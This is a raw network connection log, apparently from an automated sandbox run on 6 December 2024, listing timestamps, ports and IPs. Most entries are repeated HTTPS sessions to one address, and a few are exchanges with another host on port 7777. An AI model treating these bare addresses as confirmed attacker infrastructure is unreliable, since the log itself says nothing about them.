Dec 6, 2024 15:53:32.236731052 CET	49870	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:32.236768007 CET	49870	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:32.236968994 CET	49870	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:32.236977100 CET	443	49870	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:32.236989021 CET	49870	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:32.236994028 CET	443	49870	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:32.239811897 CET	49875	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:32.239844084 CET	443	49875	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:32.240045071 CET	49875	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:32.240168095 CET	49875	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:32.240190029 CET	443	49875	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:32.486624956 CET	443	49871	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:32.487270117 CET	49871	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:32.487292051 CET	443	49871	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:32.487821102 CET	49871	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:32.487827063 CET	443	49871	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:32.608702898 CET	443	49872	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:32.609417915 CET	49872	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:32.609433889 CET	443	49872	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:32.609900951 CET	49872	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:32.609906912 CET	443	49872	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:32.926758051 CET	443	49871	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:32.929853916 CET	443	49871	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:32.930032015 CET	49871	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:32.930084944 CET	49871	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:32.930104017 CET	443	49871	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:32.930114985 CET	49871	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:32.930120945 CET	443	49871	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:32.935103893 CET	49876	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:32.935141087 CET	443	49876	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:32.935328960 CET	49876	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:32.935677052 CET	49876	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:32.935691118 CET	443	49876	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:33.050580025 CET	443	49872	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:33.052660942 CET	443	49872	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:33.052721024 CET	443	49872	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:33.053559065 CET	49872	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:33.097840071 CET	49872	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:33.097871065 CET	443	49872	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:33.097886086 CET	49872	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:33.097898006 CET	443	49872	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:33.102611065 CET	49877	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:33.102662086 CET	443	49877	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:33.103101015 CET	49877	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:33.103274107 CET	49877	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:33.103290081 CET	443	49877	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:33.287837029 CET	443	49873	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:33.325551987 CET	49873	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:33.325575113 CET	443	49873	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:33.325926065 CET	49873	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:33.325932026 CET	443	49873	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:33.537998915 CET	443	49874	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:33.538463116 CET	49874	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:33.538479090 CET	443	49874	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:33.538944960 CET	49874	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:33.538949966 CET	443	49874	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:34.017251968 CET	443	49873	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:34.017931938 CET	443	49873	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:34.018007994 CET	49873	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:34.018007994 CET	49873	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:34.018034935 CET	49873	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:34.018052101 CET	443	49873	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:34.020822048 CET	49878	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:34.020858049 CET	443	49878	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:34.020942926 CET	49878	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:34.021054983 CET	49878	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:34.021085024 CET	443	49878	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:34.113413095 CET	443	49875	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:34.114023924 CET	49875	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:34.114038944 CET	443	49875	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:34.114442110 CET	49875	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:34.114447117 CET	443	49875	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:34.270078897 CET	443	49874	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:34.273274899 CET	443	49874	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:34.273358107 CET	49874	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:34.273392916 CET	49874	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:34.273408890 CET	443	49874	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:34.273426056 CET	49874	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:34.273432016 CET	443	49874	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:34.276104927 CET	49879	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:34.276164055 CET	443	49879	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:34.276236057 CET	49879	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:34.276369095 CET	49879	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:34.276385069 CET	443	49879	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:34.575386047 CET	443	49875	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:34.578469992 CET	443	49875	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:34.578560114 CET	49875	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:34.578624010 CET	49875	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:34.578635931 CET	443	49875	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:34.578649044 CET	49875	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:34.578664064 CET	443	49875	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:34.581577063 CET	49880	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:34.581608057 CET	443	49880	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:34.581810951 CET	49880	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:34.581955910 CET	49880	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:34.581965923 CET	443	49880	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:34.687340021 CET	443	49876	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:34.687829018 CET	49876	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:34.687839031 CET	443	49876	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:34.688313007 CET	49876	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:34.688317060 CET	443	49876	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:34.876276016 CET	443	49877	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:34.876820087 CET	49877	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:34.876852036 CET	443	49877	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:34.877273083 CET	49877	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:34.877280951 CET	443	49877	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:35.122389078 CET	443	49876	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:35.125730991 CET	443	49876	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:35.125772953 CET	443	49876	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:35.125799894 CET	49876	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:35.125865936 CET	49876	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:35.125909090 CET	49876	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:35.125909090 CET	49876	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:35.125916004 CET	443	49876	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:35.125925064 CET	443	49876	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:35.128731012 CET	49881	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:35.128774881 CET	443	49881	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:35.128886938 CET	49881	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:35.129048109 CET	49881	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:35.129064083 CET	443	49881	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:35.312077045 CET	443	49877	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:35.315520048 CET	443	49877	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:35.315596104 CET	49877	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:35.315639973 CET	49877	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:35.315661907 CET	443	49877	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:35.315676928 CET	49877	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:35.315684080 CET	443	49877	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:35.318921089 CET	49882	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:35.318960905 CET	443	49882	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:35.319068909 CET	49882	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:35.319253922 CET	49882	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:35.319258928 CET	443	49882	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:35.763082981 CET	443	49878	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:35.782771111 CET	49878	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:35.782783985 CET	443	49878	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:35.783267021 CET	49878	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:35.783272982 CET	443	49878	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:35.999306917 CET	443	49879	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:36.012676001 CET	49879	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:36.012697935 CET	443	49879	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:36.016438961 CET	49879	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:36.016447067 CET	443	49879	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:36.199254036 CET	443	49878	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:36.202560902 CET	443	49878	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:36.202606916 CET	443	49878	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:36.202627897 CET	49878	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:36.202672005 CET	49878	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:36.202696085 CET	49878	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:36.202717066 CET	443	49878	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:36.202733040 CET	49878	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:36.202739000 CET	443	49878	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:36.205950975 CET	49883	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:36.206026077 CET	443	49883	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:36.206116915 CET	49883	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:36.206242085 CET	49883	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:36.206254005 CET	443	49883	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:36.298593044 CET	443	49880	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:36.299120903 CET	49880	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:36.299139023 CET	443	49880	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:36.299635887 CET	49880	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:36.299640894 CET	443	49880	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:36.435072899 CET	443	49879	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:36.438116074 CET	443	49879	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:36.438178062 CET	49879	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:36.438214064 CET	49879	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:36.438232899 CET	443	49879	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:36.438237906 CET	49879	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:36.438245058 CET	443	49879	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:36.441004038 CET	49884	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:36.441042900 CET	443	49884	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:36.441227913 CET	49884	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:36.441353083 CET	49884	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:36.441368103 CET	443	49884	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:36.733248949 CET	443	49880	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:36.736608028 CET	443	49880	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:36.736707926 CET	49880	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:36.736732006 CET	49880	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:36.736747026 CET	443	49880	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:36.736758947 CET	49880	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:36.736766100 CET	443	49880	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:36.739597082 CET	49885	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:36.739643097 CET	443	49885	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:36.739712954 CET	49885	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:36.739919901 CET	49885	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:36.739937067 CET	443	49885	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:36.884864092 CET	443	49881	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:36.885351896 CET	49881	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:36.885382891 CET	443	49881	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:36.885873079 CET	49881	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:36.885879993 CET	443	49881	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:37.077373028 CET	443	49882	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:37.077982903 CET	49882	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:37.078011036 CET	443	49882	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:37.078434944 CET	49882	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:37.078439951 CET	443	49882	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:37.386482000 CET	443	49881	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:37.389488935 CET	443	49881	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:37.389560938 CET	49881	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:37.389610052 CET	49881	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:37.389611006 CET	49881	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:37.389635086 CET	443	49881	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:37.389643908 CET	443	49881	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:37.392358065 CET	49886	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:37.392401934 CET	443	49886	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:37.392505884 CET	49886	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:37.392642975 CET	49886	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:37.392657995 CET	443	49886	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:37.517992973 CET	443	49882	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:37.521469116 CET	443	49882	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:37.525345087 CET	49882	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:37.525504112 CET	49882	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:37.525525093 CET	443	49882	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:37.525538921 CET	49882	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:37.525544882 CET	443	49882	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:37.528570890 CET	49887	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:37.528637886 CET	443	49887	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:37.532332897 CET	49887	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:37.532480001 CET	49887	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:37.532504082 CET	443	49887	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:37.937228918 CET	443	49883	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:37.937719107 CET	49883	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:37.937756062 CET	443	49883	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:37.938172102 CET	49883	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:37.938179016 CET	443	49883	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:37.976991892 CET	49855	7777	192.168.2.7	103.232.55.173
Dec 6, 2024 15:53:38.096930981 CET	7777	49855	103.232.55.173	192.168.2.7
Dec 6, 2024 15:53:38.160018921 CET	443	49884	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:38.160823107 CET	49884	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:38.160845041 CET	443	49884	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:38.161282063 CET	49884	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:38.161288977 CET	443	49884	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:38.371506929 CET	443	49883	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:38.375523090 CET	443	49883	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:38.383337021 CET	443	49883	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:38.383369923 CET	49883	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:38.403417110 CET	49883	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:38.408277988 CET	49883	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:38.408297062 CET	443	49883	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:38.408309937 CET	49883	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:38.408317089 CET	443	49883	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:38.412678003 CET	49888	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:38.412724972 CET	443	49888	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:38.412954092 CET	49888	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:38.413486004 CET	49888	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:38.413499117 CET	443	49888	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:38.477298975 CET	443	49885	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:38.502455950 CET	49885	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:38.502535105 CET	443	49885	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:38.531349897 CET	49885	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:38.531375885 CET	443	49885	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:38.539150000 CET	7777	49855	103.232.55.173	192.168.2.7
Dec 6, 2024 15:53:38.588473082 CET	49855	7777	192.168.2.7	103.232.55.173
Dec 6, 2024 15:53:38.597851038 CET	443	49884	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:38.601135015 CET	443	49884	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:38.603678942 CET	49884	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:38.646910906 CET	49884	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:38.646944046 CET	443	49884	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:38.646959066 CET	49884	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:38.646966934 CET	443	49884	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:38.652745008 CET	49889	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:38.652807951 CET	443	49889	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:38.653081894 CET	49889	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:38.653218031 CET	49889	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:38.653234959 CET	443	49889	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:38.754182100 CET	49855	7777	192.168.2.7	103.232.55.173
Dec 6, 2024 15:53:38.874115944 CET	7777	49855	103.232.55.173	192.168.2.7
Dec 6, 2024 15:53:38.915458918 CET	443	49885	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:38.918458939 CET	443	49885	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:38.918523073 CET	49885	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:38.918555021 CET	49885	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:38.918565035 CET	443	49885	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:38.918616056 CET	49885	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:38.918622017 CET	443	49885	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:38.921483994 CET	49890	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:38.921497107 CET	443	49890	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:38.921602011 CET	49890	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:38.921806097 CET	49890	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:38.921816111 CET	443	49890	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:39.121783972 CET	443	49886	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:39.122271061 CET	49886	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:39.122294903 CET	443	49886	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:39.122735977 CET	49886	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:39.122741938 CET	443	49886	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:39.252943039 CET	443	49887	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:39.253437042 CET	49887	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:39.253453970 CET	443	49887	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:39.253895044 CET	49887	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:39.253901958 CET	443	49887	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:39.556076050 CET	443	49886	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:39.559187889 CET	443	49886	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:39.559241056 CET	443	49886	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:39.559305906 CET	49886	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:39.559410095 CET	49886	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:39.559431076 CET	443	49886	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:39.559464931 CET	49886	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:39.559472084 CET	443	49886	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:39.562216997 CET	49891	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:39.562253952 CET	443	49891	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:39.562412977 CET	49891	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:39.562557936 CET	49891	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:39.562567949 CET	443	49891	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:39.688379049 CET	443	49887	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:39.691540956 CET	443	49887	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:39.691636086 CET	49887	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:39.691687107 CET	49887	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:39.691703081 CET	443	49887	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:39.691719055 CET	49887	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:39.691730976 CET	443	49887	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:39.694564104 CET	49892	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:39.694611073 CET	443	49892	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:39.694716930 CET	49892	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:39.694864035 CET	49892	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:39.694876909 CET	443	49892	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:40.138478041 CET	443	49888	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:40.139064074 CET	49888	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:40.139085054 CET	443	49888	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:40.139604092 CET	49888	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:40.139609098 CET	443	49888	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:40.375422001 CET	443	49889	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:40.375929117 CET	49889	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:40.375942945 CET	443	49889	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:40.376414061 CET	49889	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:40.376420021 CET	443	49889	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:40.572797060 CET	443	49888	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:40.576054096 CET	443	49888	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:40.576162100 CET	49888	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:40.576162100 CET	49888	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:40.576189041 CET	49888	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:40.576204062 CET	443	49888	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:40.579754114 CET	49893	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:40.579796076 CET	443	49893	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:40.583024979 CET	49893	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:40.583188057 CET	49893	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:40.583199024 CET	443	49893	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:40.648894072 CET	443	49890	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:40.658458948 CET	49890	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:40.658479929 CET	443	49890	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:40.659558058 CET	49890	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:40.659564018 CET	443	49890	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:40.810085058 CET	443	49889	13.107.246.63	192.168.2.7
